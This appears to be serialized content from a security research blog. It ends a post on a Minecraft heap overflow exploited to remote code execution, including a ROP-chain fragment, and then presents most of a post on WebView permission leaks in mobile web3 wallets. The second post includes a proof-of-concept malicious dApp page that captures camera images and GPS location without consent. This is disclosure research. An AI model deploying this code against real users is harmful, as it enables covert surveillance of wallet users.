`system`\n",{"type":26,"tag":475,"props":155880,"children":155881},{"class":477,"line":1006},[155882,155886,155890,155895,155900,155904],{"type":26,"tag":475,"props":155883,"children":155884},{"style":499},[155885],{"type":32,"value":155657},{"type":26,"tag":475,"props":155887,"children":155888},{"style":482},[155889],{"type":32,"value":2930},{"type":26,"tag":475,"props":155891,"children":155892},{"style":629},[155893],{"type":32,"value":155894},"\"cmd.exe",{"type":26,"tag":475,"props":155896,"children":155897},{"style":48067},[155898],{"type":32,"value":155899},"\\x00",{"type":26,"tag":475,"props":155901,"children":155902},{"style":629},[155903],{"type":32,"value":727},{"type":26,"tag":475,"props":155905,"children":155906},{"style":499},[155907],{"type":32,"value":1510},{"type":26,"tag":41,"props":155909,"children":155911},{"id":155910},"demo",[155912],{"type":32,"value":155913},"Demo",{"type":26,"tag":35,"props":155915,"children":155916},{},[155917],{"type":32,"value":155918},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":26,"tag":131290,"props":155920,"children":155923},{"className":155921,"controls":18},[141257,155922],"blog-video-wide",[155924,155925,155929],{"type":32,"value":141260},{"type":26,"tag":140496,"props":155926,"children":155928},{"src":155927,"type":131288},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":32,"value":141266},{"type":26,"tag":27,"props":155931,"children":155932},{"id":2533},[155933],{"type":32,"value":2536},{"type":26,"tag":35,"props":155935,"children":155936},{},[155937],{"type":32,"value":155938},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":26,"tag":35,"props":155940,"children":155941},{},[155942],{"type":32,"value":155943},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":26,"tag":35,"props":155945,"children":155946},{},[155947],{"type":32,"value":155948},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":26,"tag":2548,"props":155950,"children":155951},{},[155952],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":155954},[155955,155959,155964,155975],{"id":146615,"depth":516,"text":146618,"children":155956},[155957,155958],{"id":146650,"depth":539,"text":146653},{"id":146666,"depth":539,"text":146669},{"id":146687,"depth":516,"text":146690,"children":155960},[155961,155962,155963],{"id":146703,"depth":539,"text":146706},{"id":146791,"depth":539,"text":146794},{"id":149091,"depth":539,"text":149094},{"id":5131,"depth":516,"text":5134,"children":155965},[155966,155967,155968,155969,155970,155971,155972,155973,155974],{"id":149198,"depth":539,"text":149201},{"id":149223,"depth":539,"text":149226},{"id":149360,"depth":539,"text":149363},{"id":151524,"depth":539,"text":151527},{"id":151886,"depth":539,"text":151889},{"id":152706,"depth":539,"text":152709},{"id":154820,"depth":539,"text":154823},{"id":155438,"depth":539,"text":155441},{"id":155910,"depth":539,"text":155913},{"id":2533,"depth":516,"text":2536},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":155980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":155981,"description":155982,"date":155983,"author":155984,"image":155986,"isFeatured":18,"onBlogPage":18,"tags":155988,"body":155990,"_type":2566,"_id":158313,"_source":2568,"_file":158314,"_stem":158315,"_extension":2571},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[12,13,155985],"nikolaos",{"src":155987,"width":16,"height":17},"/posts/insecure-webview-integrations/title.png",[31841,131396,155989],"webview",{"type":23,"children":155991,"toc":158300},[155992,155997,156002,156008,156013,156018,156023,156029,156034,156040,156062,156075,156095,156109,156115,156129,156137,156142,156148,156153,156162,156183,156327,156332,156338,156343,156348,156362,156366,156371,156389,157817,157821,157826,157838,157847,157852,157858,157880,157888,157893,157899,157904,157922,157927,157933,157946,158228,158256,158269,158274,158287,158291,158296],{"type":26,"tag":35,"props":155993,"children":155994},{},[155995],{"type":32,"value":155996},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":26,"tag":35,"props":155998,"children":155999},{},[156000],{"type":32,"value":156001},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":26,"tag":35068,"props":156003,"children":156005},{"id":156004},"exploiting-mobile-webviews",[156006],{"type":32,"value":156007},"Exploiting Mobile WebViews",{"type":26,"tag":35,"props":156009,"children":156010},{},[156011],{"type":32,"value":156012},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":26,"tag":35,"props":156014,"children":156015},{},[156016],{"type":32,"value":156017},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":26,"tag":35,"props":156019,"children":156020},{},[156021],{"type":32,"value":156022},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":26,"tag":27,"props":156024,"children":156026},{"id":156025},"handling-webview-permissions",[156027],{"type":32,"value":156028},"Handling WebView permissions",{"type":26,"tag":35,"props":156030,"children":156031},{},[156032],{"type":32,"value":156033},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":26,"tag":41,"props":156035,"children":156037},{"id":156036},"android",[156038],{"type":32,"value":156039},"Android",{"type":26,"tag":35,"props":156041,"children":156042},{},[156043,156045,156052,156054,156060],{"type":32,"value":156044},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":26,"tag":116,"props":156046,"children":156049},{"href":156047,"rel":156048},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[120],[156050],{"type":32,"value":156051},"onPermissionRequest",{"type":32,"value":156053},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":26,"tag":53,"props":156055,"children":156057},{"className":156056},[],[156058],{"type":32,"value":156059},"PermissionRequest",{"type":32,"value":156061}," object where the WebView developers must decide whether to grant or deny it.",{"type":26,"tag":2637,"props":156063,"children":156064},{},[156065],{"type":26,"tag":35,"props":156066,"children":156067},{},[156068,156070,156073],{"type":32,"value":156069},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":26,"tag":475,"props":156071,"children":156072},{},[],{"type":32,"value":156074},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":26,"tag":35,"props":156076,"children":156077},{},[156078,156080,156086,156088,156094],{"type":32,"value":156079},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":26,"tag":53,"props":156081,"children":156083},{"className":156082},[],[156084],{"type":32,"value":156085},"getOrigin()",{"type":32,"value":156087}," and the requested permissions with ",{"type":26,"tag":53,"props":156089,"children":156091},{"className":156090},[],[156092],{"type":32,"value":156093},"getResources()",{"type":32,"value":353},{"type":26,"tag":35,"props":156096,"children":156097},{},[156098,156100,156107],{"type":32,"value":156099},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":26,"tag":116,"props":156101,"children":156104},{"href":156102,"rel":156103},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[120],[156105],{"type":32,"value":156106},"webview_shell",{"type":32,"value":156108},". In this instance, no origin checks are performed.",{"type":26,"tag":41,"props":156110,"children":156112},{"id":156111},"ios",[156113],{"type":32,"value":156114},"iOS",{"type":26,"tag":35,"props":156116,"children":156117},{},[156118,156120,156127],{"type":32,"value":156119},"On the contrary, iOS ",{"type":26,"tag":116,"props":156121,"children":156124},{"href":156122,"rel":156123},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[120],[156125],{"type":32,"value":156126},"documentation",{"type":32,"value":156128}," states that:",{"type":26,"tag":2637,"props":156130,"children":156131},{},[156132],{"type":26,"tag":35,"props":156133,"children":156134},{},[156135],{"type":32,"value":156136},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":26,"tag":35,"props":156138,"children":156139},{},[156140],{"type":32,"value":156141},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":26,"tag":27,"props":156143,"children":156145},{"id":156144},"the-shortcomings-of-webview-implementations",[156146],{"type":32,"value":156147},"The shortcomings of WebView implementations",{"type":26,"tag":35,"props":156149,"children":156150},{},[156151],{"type":32,"value":156152},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":26,"tag":31048,"props":156154,"children":156155},{"style":31050},[156156],{"type":26,"tag":132,"props":156157,"children":156161},{"src":156158,"alt":156159,"style":156160},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":26,"tag":35,"props":156163,"children":156164},{},[156165,156167,156173,156175,156181],{"type":32,"value":156166},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":26,"tag":53,"props":156168,"children":156170},{"className":156169},[],[156171],{"type":32,"value":156172},"react-native-webview",{"type":32,"value":156174},". If we take a look at how they handle a request that reaches the ",{"type":26,"tag":116,"props":156176,"children":156179},{"href":156177,"rel":156178},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[120],[156180],{"type":32,"value":156051},{"type":32,"value":156182}," method, we see a similar pattern.",{"type":26,"tag":465,"props":156184,"children":156188},{"className":156185,"code":156186,"language":156187,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n request.grant(grantedPermissions.toArray(new String[0]));\n grantedPermissions = null;\n return;\n}\n","java",[156189],{"type":26,"tag":53,"props":156190,"children":156191},{"__ignoreMap":7},[156192,156200,156229,156289,156309,156320],{"type":26,"tag":475,"props":156193,"children":156194},{"class":477,"line":478},[156195],{"type":26,"tag":475,"props":156196,"children":156197},{"style":552},[156198],{"type":32,"value":156199},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":26,"tag":475,"props":156201,"children":156202},{"class":477,"line":516},[156203,156207,156211,156216,156220,156225],{"type":26,"tag":475,"props":156204,"children":156205},{"style":586},[156206],{"type":32,"value":15285},{"type":26,"tag":475,"props":156208,"children":156209},{"style":499},[156210],{"type":32,"value":2775},{"type":26,"tag":475,"props":156212,"children":156213},{"style":2375},[156214],{"type":32,"value":156215},"requestedAndroidPermissions",{"type":26,"tag":475,"props":156217,"children":156218},{"style":499},[156219],{"type":32,"value":353},{"type":26,"tag":475,"props":156221,"children":156222},{"style":493},[156223],{"type":32,"value":156224},"isEmpty",{"type":26,"tag":475,"props":156226,"children":156227},{"style":499},[156228],{"type":32,"value":91641},{"type":26,"tag":475,"props":156230,"children":156231},{"class":477,"line":539},[156232,156237,156241,156246,156250,156255,156259,156264,156268,156272,156277,156281,156285],{"type":26,"tag":475,"props":156233,"children":156234},{"style":2375},[156235],{"type":32,"value":156236}," request",{"type":26,"tag":475,"props":156238,"children":156239},{"style":499},[156240],{"type":32,"value":353},{"type":26,"tag":475,"props":156242,"children":156243},{"style":493},[156244],{"type":32,"value":156245},"grant",{"type":26,"tag":475,"props":156247,"children":156248},{"style":499},[156249],{"type":32,"value":626},{"type":26,"tag":475,"props":156251,"children":156252},{"style":2375},[156253],{"type":32,"value":156254},"grantedPermissions",{"type":26,"tag":475,"props":156256,"children":156257},{"style":499},[156258],{"type":32,"value":353},{"type":26,"tag":475,"props":156260,"children":156261},{"style":493},[156262],{"type":32,"value":156263},"toArray",{"type":26,"tag":475,"props":156265,"children":156266},{"style":499},[156267],{"type":32,"value":626},{"type":26,"tag":475,"props":156269,"children":156270},{"style":586},[156271],{"type":32,"value":14828},{"type":26,"tag":475,"props":156273,"children":156274},{"style":505},[156275],{"type":32,"value":156276}," String",{"type":26,"tag":475,"props":156278,"children":156279},{"style":499},[156280],{"type":32,"value":3440},{"type":26,"tag":475,"props":156282,"children":156283},{"style":903},[156284],{"type":32,"value":3732},{"type":26,"tag":475,"props":156286,"children":156287},{"style":499},[156288],{"type":32,"value":102944},{"type":26,"tag":475,"props":156290,"children":156291},{"class":477,"line":548},[156292,156297,156301,156305],{"type":26,"tag":475,"props":156293,"children":156294},{"style":499},[156295],{"type":32,"value":156296}," grantedPermissions ",{"type":26,"tag":475,"props":156298,"children":156299},{"style":714},[156300],{"type":32,"value":786},{"type":26,"tag":475,"props":156302,"children":156303},{"style":482},[156304],{"type":32,"value":69961},{"type":26,"tag":475,"props":156306,"children":156307},{"style":499},[156308],{"type":32,"value":2729},{"type":26,"tag":475,"props":156310,"children":156311},{"class":477,"line":558},[156312,156316],{"type":26,"tag":475,"props":156313,"children":156314},{"style":586},[156315],{"type":32,"value":16695},{"type":26,"tag":475,"props":156317,"children":156318},{"style":499},[156319],{"type":32,"value":2729},{"type":26,"tag":475,"props":156321,"children":156322},{"class":477,"line":582},[156323],{"type":26,"tag":475,"props":156324,"children":156325},{"style":499},[156326],{"type":32,"value":3607},{"type":26,"tag":35,"props":156328,"children":156329},{},[156330],{"type":32,"value":156331},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":26,"tag":41,"props":156333,"children":156335},{"id":156334},"real-world-exploitation",[156336],{"type":32,"value":156337},"Real world exploitation",{"type":26,"tag":35,"props":156339,"children":156340},{},[156341],{"type":32,"value":156342},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":26,"tag":35,"props":156344,"children":156345},{},[156346],{"type":32,"value":156347},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":26,"tag":35,"props":156349,"children":156350},{},[156351,156353,156360],{"type":32,"value":156352},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":26,"tag":116,"props":156354,"children":156357},{"href":156355,"rel":156356},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[120],[156358],{"type":32,"value":156359},"Justson",{"type":32,"value":156361},", used by a popular wallet in the Stellar ecosystem.",{"type":26,"tag":70,"props":156363,"children":156364},{"id":39196},[156365],{"type":32,"value":34524},{"type":26,"tag":35,"props":156367,"children":156368},{},[156369],{"type":32,"value":156370},"In order to exploit this issue, we assume the following preconditions:",{"type":26,"tag":181,"props":156372,"children":156373},{},[156374,156379,156384],{"type":26,"tag":86,"props":156375,"children":156376},{},[156377],{"type":32,"value":156378},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":26,"tag":86,"props":156380,"children":156381},{},[156382],{"type":32,"value":156383},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":26,"tag":86,"props":156385,"children":156386},{},[156387],{"type":32,"value":156388},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":26,"tag":465,"props":156390,"children":156392},{"className":49714,"code":156391,"language":32081,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[156393],{"type":26,"tag":53,"props":156394,"children":156395},{"__ignoreMap":7},[156396,156416,156431,156447,156477,156500,156515,156530,156562,156608,156644,156672,156687,156733,156779,156787,156855,156883,156898,156906,156913,156933,156993,157034,157063,157104,157111,157140,157178,157215,157222,157229,157262,157283,157290,157352,157408,157444,157490,157498,157505,157548,157581,157706,157739,157746,157753,157760,157772,157787,157802],{"type":26,"tag":475,"props":156397,"children":156398},{"class":477,"line":478},[156399,156403,156407,156412],{"type":26,"tag":475,"props":156400,"children":156401},{"style":32074},[156402],{"type":32,"value":33920},{"type":26,"tag":475,"props":156404,"children":156405},{"style":482},[156406],{"type":32,"value":33925},{"type":26,"tag":475,"props":156408,"children":156409},{"style":2375},[156410],{"type":32,"value":156411}," html",{"type":26,"tag":475,"props":156413,"children":156414},{"style":32074},[156415],{"type":32,"value":5706},{"type":26,"tag":475,"props":156417,"children":156418},{"class":477,"line":516},[156419,156423,156427],{"type":26,"tag":475,"props":156420,"children":156421},{"style":32074},[156422],{"type":32,"value":5519},{"type":26,"tag":475,"props":156424,"children":156425},{"style":482},[156426],{"type":32,"value":32081},{"type":26,"tag":475,"props":156428,"children":156429},{"style":32074},[156430],{"type":32,"value":5706},{"type":26,"tag":475,"props":156432,"children":156433},{"class":477,"line":539},[156434,156438,156443],{"type":26,"tag":475,"props":156435,"children":156436},{"style":32074},[156437],{"type":32,"value":5519},{"type":26,"tag":475,"props":156439,"children":156440},{"style":482},[156441],{"type":32,"value":156442},"head",{"type":26,"tag":475,"props":156444,"children":156445},{"style":32074},[156446],{"type":32,"value":5706},{"type":26,"tag":475,"props":156448,"children":156449},{"class":477,"line":548},[156450,156454,156459,156464,156468,156473],{"type":26,"tag":475,"props":156451,"children":156452},{"style":32074},[156453],{"type":32,"value":32144},{"type":26,"tag":475,"props":156455,"children":156456},{"style":482},[156457],{"type":32,"value":156458},"meta",{"type":26,"tag":475,"props":156460,"children":156461},{"style":2375},[156462],{"type":32,"value":156463}," charset",{"type":26,"tag":475,"props":156465,"children":156466},{"style":499},[156467],{"type":32,"value":786},{"type":26,"tag":475,"props":156469,"children":156470},{"style":629},[156471],{"type":32,"value":156472},"\"utf-8\"",{"type":26,"tag":475,"props":156474,"children":156475},{"style":32074},[156476],{"type":32,"value":5706},{"type":26,"tag":475,"props":156478,"children":156479},{"class":477,"line":558},[156480,156484,156488,156492,156496],{"type":26,"tag":475,"props":156481,"children":156482},{"style":32074},[156483],{"type":32,"value":32144},{"type":26,"tag":475,"props":156485,"children":156486},{"style":482},[156487],{"type":32,"value":33998},{"type":26,"tag":475,"props":156489,"children":156490},{"style":32074},[156491],{"type":32,"value":49758},{"type":26,"tag":475,"props":156493,"children":156494},{"style":482},[156495],{"type":32,"value":33998},{"type":26,"tag":475,"props":156497,"children":156498},{"style":32074},[156499],{"type":32,"value":5706},{"type":26,"tag":475,"props":156501,"children":156502},{"class":477,"line":582},[156503,156507,156511],{"type":26,"tag":475,"props":156504,"children":156505},{"style":32074},[156506],{"type":32,"value":32128},{"type":26,"tag":475,"props":156508,"children":156509},{"style":482},[156510],{"type":32,"value":156442},{"type":26,"tag":475,"props":156512,"children":156513},{"style":32074},[156514],{"type":32,"value":5706},{"type":26,"tag":475,"props":156516,"children":156517},{"class":477,"line":596},[156518,156522,156526],{"type":26,"tag":475,"props":156519,"children":156520},{"style":32074},[156521],{"type":32,"value":5519},{"type":26,"tag":475,"props":156523,"children":156524},{"style":482},[156525],{"type":32,"value":32098},{"type":26,"tag":475,"props":156527,"children":156528},{"style":32074},[156529],{"type":32,"value":5706},{"type":26,"tag":475,"props":156531,"children":156532},{"class":477,"line":610},[156533,156537,156541,156545,156550,156554,156558],{"type":26,"tag":475,"props":156534,"children":156535},{"style":32074},[156536],{"type":32,"value":32144},{"type":26,"tag":475,"props":156538,"children":156539},{"style":482},[156540],{"type":32,"value":27},{"type":26,"tag":475,"props":156542,"children":156543},{"style":32074},[156544],{"type":32,"value":10170},{"type":26,"tag":475,"props":156546,"children":156547},{"style":499},[156548],{"type":32,"value":156549},"Smile dApp :)",{"type":26,"tag":475,"props":156551,"children":156552},{"style":32074},[156553],{"type":32,"value":32128},{"type":26,"tag":475,"props":156555,"children":156556},{"style":482},[156557],{"type":32,"value":27},{"type":26,"tag":475,"props":156559,"children":156560},{"style":32074},[156561],{"type":32,"value":5706},{"type":26,"tag":475,"props":156563,"children":156564},{"class":477,"line":650},[156565,156569,156574,156578,156582,156587,156591,156596,156600,156604],{"type":26,"tag":475,"props":156566,"children":156567},{"style":32074},[156568],{"type":32,"value":32144},{"type":26,"tag":475,"props":156570,"children":156571},{"style":482},[156572],{"type":32,"value":156573},"button",{"type":26,"tag":475,"props":156575,"children":156576},{"style":2375},[156577],{"type":32,"value":32154},{"type":26,"tag":475,"props":156579,"children":156580},{"style":499},[156581],{"type":32,"value":786},{"type":26,"tag":475,"props":156583,"children":156584},{"style":629},[156585],{"type":32,"value":156586},"\"connect\"",{"type":26,"tag":475,"props":156588,"children":156589},{"style":32074},[156590],{"type":32,"value":10170},{"type":26,"tag":475,"props":156592,"children":156593},{"style":499},[156594],{"type":32,"value":156595},"Connect your wallet!",{"type":26,"tag":475,"props":156597,"children":156598},{"style":32074},[156599],{"type":32,"value":32128},{"type":26,"tag":475,"props":156601,"children":156602},{"style":482},[156603],{"type":32,"value":156573},{"type":26,"tag":475,"props":156605,"children":156606},{"style":32074},[156607],{"type":32,"value":5706},{"type":26,"tag":475,"props":156609,"children":156610},{"class":477,"line":679},[156611,156615,156619,156623,156627,156632,156636,156640],{"type":26,"tag":475,"props":156612,"children":156613},{"style":32074},[156614],{"type":32,"value":32144},{"type":26,"tag":475,"props":156616,"children":156617},{"style":482},[156618],{"type":32,"value":465},{"type":26,"tag":475,"props":156620,"children":156621},{"style":2375},[156622],{"type":32,"value":32154},{"type":26,"tag":475,"props":156624,"children":156625},{"style":499},[156626],{"type":32,"value":786},{"type":26,"tag":475,"props":156628,"children":156629},{"style":629},[156630],{"type":32,"value":156631},"\"gps\"",{"type":26,"tag":475,"props":156633,"children":156634},{"style":32074},[156635],{"type":32,"value":49758},{"type":26,"tag":475,"props":156637,"children":156638},{"style":482},[156639],{"type":32,"value":465},{"type":26,"tag":475,"props":156641,"children":156642},{"style":32074},[156643],{"type":32,"value":5706},{"type":26,"tag":475,"props":156645,"children":156646},{"class":477,"line":735},[156647,156651,156655,156659,156663,156668],{"type":26,"tag":475,"props":156648,"children":156649},{"style":32074},[156650],{"type":32,"value":32144},{"type":26,"tag":475,"props":156652,"children":156653},{"style":482},[156654],{"type":32,"value":132},{"type":26,"tag":475,"props":156656,"children":156657},{"style":2375},[156658],{"type":32,"value":32154},{"type":26,"tag":475,"props":156660,"children":156661},{"style":499},[156662],{"type":32,"value":786},{"type":26,"tag":475,"props":156664,"children":156665},{"style":629},[156666],{"type":32,"value":156667},"\"pic\"",{"type":26,"tag":475,"props":156669,"children":156670},{"style":32074},[156671],{"type":32,"value":5706},{"type":26,"tag":475,"props":156673,"children":156674},{"class":477,"line":744},[156675,156679,156683],{"type":26,"tag":475,"props":156676,"children":156677},{"style":32074},[156678],{"type":32,"value":32144},{"type":26,"tag":475,"props":156680,"children":156681},{"style":482},[156682],{"type":32,"value":32114},{"type":26,"tag":475,"props":156684,"children":156685},{"style":32074},[156686],{"type":32,"value":5706},{"type":26,"tag":475,"props":156688,"children":156689},{"class":477,"line":753},[156690,156695,156699,156704,156708,156713,156717,156721,156725,156729],{"type":26,"tag":475,"props":156691,"children":156692},{"style":2375},[156693],{"type":32,"value":156694}," window",{"type":26,"tag":475,"props":156696,"children":156697},{"style":714},[156698],{"type":32,"value":353},{"type":26,"tag":475,"props":156700,"children":156701},{"style":493},[156702],{"type":32,"value":156703},"addEventListener",{"type":26,"tag":475,"props":156705,"children":156706},{"style":714},[156707],{"type":32,"value":626},{"type":26,"tag":475,"props":156709,"children":156710},{"style":629},[156711],{"type":32,"value":156712},"'unhandledrejection'",{"type":26,"tag":475,"props":156714,"children":156715},{"style":714},[156716],{"type":32,"value":637},{"type":26,"tag":475,"props":156718,"children":156719},{"style":482},[156720],{"type":32,"value":31077},{"type":26,"tag":475,"props":156722,"children":156723},{"style":714},[156724],{"type":32,"value":2775},{"type":26,"tag":475,"props":156726,"children":156727},{"style":2375},[156728],{"type":32,"value":81750},{"type":26,"tag":475,"props":156730,"children":156731},{"style":714},[156732],{"type":32,"value":676},{"type":26,"tag":475,"props":156734,"children":156735},{"class":477,"line":761},[156736,156741,156745,156750,156754,156758,156762,156767,156771,156775],{"type":26,"tag":475,"props":156737,"children":156738},{"style":493},[156739],{"type":32,"value":156740}," alert",{"type":26,"tag":475,"props":156742,"children":156743},{"style":714},[156744],{"type":32,"value":626},{"type":26,"tag":475,"props":156746,"children":156747},{"style":629},[156748],{"type":32,"value":156749},"`Unhandled Promise Rejection: ",{"type":26,"tag":475,"props":156751,"children":156752},{"style":482},[156753],{"type":32,"value":711},{"type":26,"tag":475,"props":156755,"children":156756},{"style":2375},[156757],{"type":32,"value":81750},{"type":26,"tag":475,"props":156759,"children":156760},{"style":714},[156761],{"type":32,"value":353},{"type":26,"tag":475,"props":156763,"children":156764},{"style":2375},[156765],{"type":32,"value":156766},"reason",{"type":26,"tag":475,"props":156768,"children":156769},{"style":482},[156770],{"type":32,"value":722},{"type":26,"tag":475,"props":156772,"children":156773},{"style":629},[156774],{"type":32,"value":10090},{"type":26,"tag":475,"props":156776,"children":156777},{"style":714},[156778],{"type":32,"value":3533},{"type":26,"tag":475,"props":156780,"children":156781},{"class":477,"line":770},[156782],{"type":26,"tag":475,"props":156783,"children":156784},{"style":714},[156785],{"type":32,"value":156786}," });\n",{"type":26,"tag":475,"props":156788,"children":156789},{"class":477,"line":794},[156790,156794,156798,156802,156806,156810,156814,156818,156822,156826,156830,156834,156838,156843,156847,156851],{"type":26,"tag":475,"props":156791,"children":156792},{"style":2375},[156793],{"type":32,"value":156694},{"type":26,"tag":475,"props":156795,"children":156796},{"style":714},[156797],{"type":32,"value":353},{"type":26,"tag":475,"props":156799,"children":156800},{"style":493},[156801],{"type":32,"value":32387},{"type":26,"tag":475,"props":156803,"children":156804},{"style":714},[156805],{"type":32,"value":32610},{"type":26,"tag":475,"props":156807,"children":156808},{"style":482},[156809],{"type":32,"value":31077},{"type":26,"tag":475,"props":156811,"children":156812},{"style":714},[156813],{"type":32,"value":2775},{"type":26,"tag":475,"props":156815,"children":156816},{"style":2375},[156817],{"type":32,"value":57638},{"type":26,"tag":475,"props":156819,"children":156820},{"style":714},[156821],{"type":32,"value":637},{"type":26,"tag":475,"props":156823,"children":156824},{"style":2375},[156825],{"type":32,"value":70069},{"type":26,"tag":475,"props":156827,"children":156828},{"style":714},[156829],{"type":32,"value":637},{"type":26,"tag":475,"props":156831,"children":156832},{"style":2375},[156833],{"type":32,"value":477},{"type":26,"tag":475,"props":156835,"children":156836},{"style":714},[156837],{"type":32,"value":637},{"type":26,"tag":475,"props":156839,"children":156840},{"style":2375},[156841],{"type":32,"value":156842},"col",{"type":26,"tag":475,"props":156844,"children":156845},{"style":714},[156846],{"type":32,"value":637},{"type":26,"tag":475,"props":156848,"children":156849},{"style":2375},[156850],{"type":32,"value":14569},{"type":26,"tag":475,"props":156852,"children":156853},{"style":714},[156854],{"type":32,"value":676},{"type":26,"tag":475,"props":156856,"children":156857},{"class":477,"line":831},[156858,156862,156866,156871,156875,156879],{"type":26,"tag":475,"props":156859,"children":156860},{"style":493},[156861],{"type":32,"value":156740},{"type":26,"tag":475,"props":156863,"children":156864},{"style":714},[156865],{"type":32,"value":626},{"type":26,"tag":475,"props":156867,"children":156868},{"style":629},[156869],{"type":32,"value":156870},"'onerror: 